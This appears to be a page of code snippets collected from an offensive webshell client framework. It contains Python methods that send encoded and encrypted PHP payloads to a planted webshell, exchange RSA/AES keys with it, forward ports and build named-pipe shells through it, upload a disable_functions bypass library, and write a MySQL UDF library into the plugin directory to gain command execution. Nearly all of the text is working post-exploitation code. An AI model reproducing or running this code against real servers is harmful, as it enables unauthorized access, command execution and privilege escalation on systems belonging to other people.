예제 #1
0
    def _create_and_save_key(self) -> str:
        '''创建并保存一组秘钥,并填充当前的秘钥对象
        '''
        self.private_key = rsa.generate_private_key(public_exponent=65537,
                                                    key_size=1024)
        self.public_key = self.private_key.public_key()
        key = os.urandom(32)
        iv = os.urandom(16)
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))

        ID = utils.randomstr(16)
        d = os.path.dirname(__file__)
        if not os.path.exists(os.path.join(d, 'keys')):
            os.mkdir(os.path.join(d, 'keys'))
        while os.path.exists(os.path.join(d, 'keys', ID)):
            ID = utils.randomstr(16)
        with open(os.path.join(d, 'keys', ID), 'wb') as f:
            pri = self.private_key.private_bytes(
                serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8,
                serialization.NoEncryption())
            pub = self.public_key.public_bytes(
                serialization.Encoding.PEM,
                serialization.PublicFormat.SubjectPublicKeyInfo)
            f.write(pri + b'\n')
            f.write(pub)
        return ID
예제 #2
0
    def _upload_lib(self, ret: EvalResult) -> EvalResult:
        '''上传可能缺失动态库
        '''
        if isinstance(self.session.client, CSharpWebshell):
            assems = []
            path = self.session.server_info.tmpdir + self.session.server_info.sep + utils.randomstr(
                8)
            for e in ret.errors:
                if e.errcode == "CS0246" and 'MySql' in e.errmsg:
                    assems.append(path)
                    break
            if path in assems:
                logger.info("Try to upload MySql.Data.dll !")
                if self.session.exec([
                        'upload',
                        os.path.join(os.path.dirname(__file__), 'extra_code',
                                     'MySql.Data.dll'), path
                ]) == self.SUCCESS:
                    assems.extend(self.session.client.options.extra_assemblys)
                    self.session.client.options.set_temp_option(
                        'extra_assemblys', str(assems))
                    ret = self.evalfile('payload/connect',
                                        host=self._host,
                                        port=self._port,
                                        user=self._user,
                                        password=self._password,
                                        database=self._current_database)
                    self.session.exec(['rm', '-f', path], False)  # 删除临时文件

        return ret
예제 #3
0
    def eval(self, payload: PHPPayload) -> EvalResult:
        '''执行payload并获取返回结果'''
        password_type = self.options.password_type.upper()
        payload_param_name = utils.randomstr(8)

        payload = base64.b64encode(payload.code).decode()
        trans_payload = PHPPayload(
            'transfer.php',
            payload_param_name=payload_param_name).code.decode()

        data = {payload_param_name: payload}
        headers = {}
        query = {}
        if password_type == 'POST':
            data[self.options.password] = trans_payload
        elif password_type == 'GET':
            query[self.options.password] = trans_payload
        elif password_type == 'HEADER':
            trans_payload = trans_payload.replace('\r',
                                                  '').replace('\n',
                                                              '')  # 头部传输时消除换行
            headers.update({self.options.password: trans_payload})

        result = EvalResult()
        try:
            with self.opener.reuqest(self.options.target,
                                     data=data,
                                     headers=headers,
                                     params=query,
                                     timeout=self.options.timeout) as f:
                data = f.read()
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(
                    self.options.encoding, 'ignore')
                result.data = data
                return result
        except json.JSONDecodeError as e:
            err = self.EvalError(e.__class__.__name__, e.msg, False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data}")
        except HttpException as e:
            err = self.EvalError(
                'HttpException',
                f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}",
                False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except Exception as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result
예제 #4
0
    def run(self):
        try:
            self.sock.bind((self.lhost, self.lport))
            self.sock.listen(self.max_listen_count)
        except OSError as e:
            logger.error(e)
            return
        thread_list = []
        while True:
            try:
                sock, addr = self.sock.accept()
            except OSError:
                break
            logger.info(f"A connection created!From {addr}")

            sock.setblocking(False)
            sessionid = utils.randomstr(16)
            self.connections[sessionid] = sock

            forwardwork = threading.Thread(
                target=self._forward,
                args=(sessionid, ),
                name=f"{sessionid}-forward on rule `{self._rule_name}`")
            readerthread = threading.Thread(
                target=self._reader,
                args=(sessionid, ),
                name=f"{sessionid}-reader on rule `{self._rule_name}`")
            writerthread = threading.Thread(
                target=self._writer,
                args=(sessionid, ),
                name=f"{sessionid}-writer on rule `{self._rule_name}`")
            thread_list.append(forwardwork)
            thread_list.append(readerthread)
            thread_list.append(writerthread)

            forwardwork.setDaemon(True)
            readerthread.setDaemon(True)
            writerthread.setDaemon(True)
            forwardwork.start()
            utils.sleep(1)
            readerthread.start()
            writerthread.start()

        for t in thread_list:
            t.join()
예제 #5
0
    def run(self):
        thread_list = []
        sessionid = utils.randomstr(16)
        self.connections[sessionid] = None

        forwardwork = threading.Thread(target=self._forward,
                                       args=(sessionid, ))
        forwardwork.setDaemon(True)
        thread_list.append(forwardwork)
        forwardwork.start()
        utils.sleep(1)
        if self._test_connect(sessionid):
            sock = socket.socket()
            self.connections[sessionid] = sock
            sock.settimeout(5)
            try:
                sock.connect((self.lhost, self.lport))
            except OSError as e:
                logger.error(
                    f"Connect to `{self.lhost}:{self.lport}` on rule `{self._rule_name}` failed!"
                )
                logger.error(e.strerror)
                self._close(sessionid)
                for t in thread_list:
                    t.join()
                return

            sock.setblocking(False)
            readerthread = threading.Thread(target=self._reader,
                                            args=(sessionid, ),
                                            name=f"{self._rule_name}-reader")
            writerthread = threading.Thread(target=self._writer,
                                            args=(sessionid, ),
                                            name=f"{self._rule_name}-writer")
            readerthread.setDaemon(True)
            writerthread.setDaemon(True)
            thread_list.append(readerthread)
            thread_list.append(writerthread)
            readerthread.start()
            writerthread.start()

        for t in thread_list:
            t.join()
예제 #6
0
    def eval(self, payload: PHPPayload) -> EvalResult:
        '''执行payload并获取返回结果'''
        payload = self._encrypt(payload.code)
        payload = base64.b64encode(payload).decode()
        data = {utils.randomstr(8): payload}
        result = EvalResult()
        try:
            with self.opener.post(self.options.target,
                                  data,
                                  timeout=self.options.timeout) as f:
                data = f.read()
                data = self._decrypt(data)
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(
                    self.options.encoding, 'ignore')
                result.data = data
                return result
        except (EncryptFailedError, DecryptFailedError) as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data[:100]}")
        except HttpException as e:
            err = self.EvalError(
                'HttpException',
                f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}",
                False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except Exception as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result
예제 #7
0
    def connect(self) -> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        ID = '0'
        try:
            with self.opener.post(self.options.target, timeout=10) as f:
                ID = f.read()
        except BaseException:
            logger.error('Failed to connect to webshell')
            return False

        ID = ID.decode(self.options.encoding, 'ignore')
        if not self._load_key(ID):
            logger.error(f"Failed to load secret key for `{ID}`")
            return False

        iv = self.aes.mode.initialization_vector
        data = {
            utils.randomstr(8):
            base64.b64encode(
                self.public_key.encrypt(self.aes.algorithm.key,
                                        padding.PKCS1v15())).decode(),
            'iv':
            base64.b64encode(iv).decode()
        }
        try:
            with self.opener.post(self.options.target, data, timeout=10) as f:
                ID = f.read()
        except BaseException as e:
            logger.error(e)
            logger.error('Error in key delivery.')
            return False
        if ID != base64.b64encode(iv):
            logger.error(
                f"The accepted number `{ID}` does not match the expected `{base64.b64encode(iv)}`"
            )
            return False
        return True
예제 #8
0
    def _exec_udf(self):
        '''上传mysql的udf用于命令执行
        '''
        encoding = self.session.client.options.encoding
        # 验证是否存在当前用于执行命令的函数
        sql = f"select * from mysql.func where name = '{self._exec_func}'"
        ret = self.evalfile('payload/query',
                            host=self._host,
                            port=self._port,
                            user=self._user,
                            password=self._password,
                            database=self._current_database,
                            sql=sql)
        if not ret.is_success():
            logger.error("Query funtions info failed!")
            return self.STOP
        ret = json.loads(ret.data)
        if ret['code'] == 1:
            if ret['result'] and len(ret['result']) > 1:
                logger.info(f"Funtion `{self._exec_func}` already exists!",
                            True)
                return self.SUCCESS
        else:
            logger.error("Query funtions info failed!")
            return self.STOP

        # 搜集信息
        logger.info("Information collection...")
        plugin_dir = None
        secure_file_priv = None
        version_compile_machine = None
        version_compile_os = None
        version = None
        sql = "show global variables where variable_name in ('secure_file_priv', 'plugin_dir', 'version_compile_machine', 'version_compile_os', 'version')"
        ret = self.evalfile('payload/query',
                            host=self._host,
                            port=self._port,
                            user=self._user,
                            password=self._password,
                            database=self._current_database,
                            sql=sql)
        if not ret.is_success():
            logger.error("Mysql information collection failed!")
            return self.STOP
        ret = ret.data
        ret = json.loads(ret)
        if ret['code'] == 1:
            if ret['result']:
                r = [
                    base64.b64decode(t[1].encode()).decode(encoding, 'ignore')
                    for t in ret['result']
                ]
                plugin_dir = r[1]
                secure_file_priv = r[2]
                version = r[3]
                version_compile_machine = r[4]
                version_compile_os = r[5]
            else:
                logger.error("Mysql information collection failed!")
                return self.STOP
        elif ret['code'] in (0, -1):
            msg = base64.b64decode(ret['msg'].encode()).decode(
                encoding, 'ignore')
            print(msg)
            return self.STOP
        else:
            logger.error("Mysql information collection failed!")
            return self.STOP
        logger.info(f"plugin_dir: {plugin_dir}", True)
        logger.info(f"secure_file_priv: {secure_file_priv}", True)
        logger.info(f"version: {version}", True)
        logger.info(f"version_compile_machine: {version_compile_machine}",
                    True)
        logger.info(f"version_compile_os: {version_compile_os}", True)
        v = re.search(r'(\d+)\.(\d+)', version)
        if v is not None and 'win' in version_compile_os.lower():
            m = int(v.group(1))
            c = int(v.group(2))
            if (m == 5 and c < 1) or m < 5:  # Windows上mysql<5.1
                logger.info(
                    f"Mysql on {version_compile_os} {version_compile_machine} version < 5.1, you can upload udf to c:\winnt\system32 or c:\windows\system32!"
                )
                return self.SUCCESS

        # 写入udf
        arch = '32'
        ext = 'so'
        if '64' in version_compile_machine:
            arch = '64'
        if 'win' in version_compile_os.lower():
            ext = 'dll'
        local_udfpath = os.path.join(os.path.dirname(__file__), 'extra_code',
                                     f'lib_mysqludf_sys_{arch}.{ext}')
        logger.info(f"Using udf `{local_udfpath}`")
        udfdata = b''
        with open(local_udfpath, 'rb') as f:
            udfdata = f.read()
        udfdata = udfdata.hex()
        udfname = utils.randomstr(8) + '.' + ext
        udfpath = plugin_dir + udfname
        if secure_file_priv and secure_file_priv != plugin_dir:
            logger.error("Can not upload udf with secure_file_priv!")
            if utils.input(
                    "Can not upload udf with secure_file_priv!Do you want to try to upload UDF with web permission? (y/n) "
            ).lower() == 'y':
                if self.session.exec(['upload', local_udfpath,
                                      udfpath]) == self.SUCCESS:
                    logger.info("UDF write successful!")
                else:
                    logger.error("Write UDF failed!")
                    return self.STOP
            else:
                return self.STOP
        else:  # 使用sql语句写入UDF
            logger.info(f"Start write udf to {udfpath}...")
            sql = f"select unhex('{udfdata}') into dumpfile '{udfpath}'"
            ret = self.evalfile('payload/query',
                                host=self._host,
                                port=self._port,
                                user=self._user,
                                password=self._password,
                                database=self._current_database,
                                sql=sql)
            if not ret.is_success():
                logger.error("Write UDF failed!")
                return self.STOP
            ret = ret.data
            ret = json.loads(ret)
            if ret['code'] == 2:
                logger.info("UDF write successful!", True)
            elif ret['code'] in (0, -1):
                msg = base64.b64decode(ret['msg'].encode()).decode(
                    encoding, 'ignore')
                print(msg)
                logger.error("Write UDF failed!")
                return self.STOP
            else:
                logger.error("Write UDF failed!")
                return self.STOP

        # 创建命令执行函数
        sql = f"create function {self._exec_func} returns string soname '{udfname}'"
        ret = self.evalfile('payload/query',
                            host=self._host,
                            port=self._port,
                            user=self._user,
                            password=self._password,
                            database=self._current_database,
                            sql=sql)
        if not ret.is_success():
            logger.error(f"Create function `{self._exec_func}` failed!")
            return self.STOP
        ret = ret.data
        ret = json.loads(ret)
        if ret['code'] == 2:
            logger.info(f"Create function `{self._exec_func}` successful!",
                        True)
            self._query(
                f"select * from mysql.func where name = '{self._exec_func}'")
            return self.SUCCESS
        elif ret['code'] in (0, -1):
            msg = base64.b64decode(ret['msg'].encode()).decode(
                encoding, 'ignore')
            print(msg)
            logger.error(f"Create function `{self._exec_func}` failed!")
            return self.STOP
        else:
            logger.error(f"Create function `{self._exec_func}` failed!")
        return self.STOP
예제 #9
0
    def __init__(self, exp: WebshellExploit, shell: str):
        super().__init__(exp)

        self.shell = shell

        self.out_file = self.exp.session.server_info.tmpdir + self.exp.session.server_info.sep + utils.randomstr(
            8) + "_out"
        self.in_file = self.exp.session.server_info.tmpdir + self.exp.session.server_info.sep + utils.randomstr(
            8) + "_in"
        self._lock = threading.Lock()
        self._verbose = 0

        self.last_recv = ''  # 上次接收到的数据
예제 #10
0
    def __init__(self, exploit: WebshellExploit, shell: str):
        super().__init__(exploit)
        self.shell = shell

        self.out_pipe = self.exp.session.server_info.tmpdir + self.exp.session.server_info.sep + utils.randomstr(
            10) + "_out"  # 输出管道,结果会写入该管道
        self.in_pipe = self.exp.session.server_info.tmpdir + self.exp.session.server_info.sep + utils.randomstr(
            10) + "_in"  # 输入管道,命令会从该管道读取

        self._lock = threading.Lock()
        self.last_recv = None
예제 #11
0
 def _upload_so(self, is64bit: bool) -> bool:
     '''上传所需的动态库文件
     '''
     self.so_path = self.so_path = self.session.server_info.tmpdir + self.session.server_info.sep + utils.randomstr(
         8)
     fname = f"bypass_disablefunc_x{'64' if is64bit else '86'}.so"
     logger.info(f"Upload {fname} to {self.so_path}")
     if self.session.exec([
             'upload',
             os.path.join(os.path.dirname(__file__), 'payload', fname),
             self.so_path
     ]) == self.SUCCESS:
         logger.info("Dynamic library has been uploaded sucessful!", True)
         return True
     logger.error("Dynamic library uploaded failed!", True)
     return False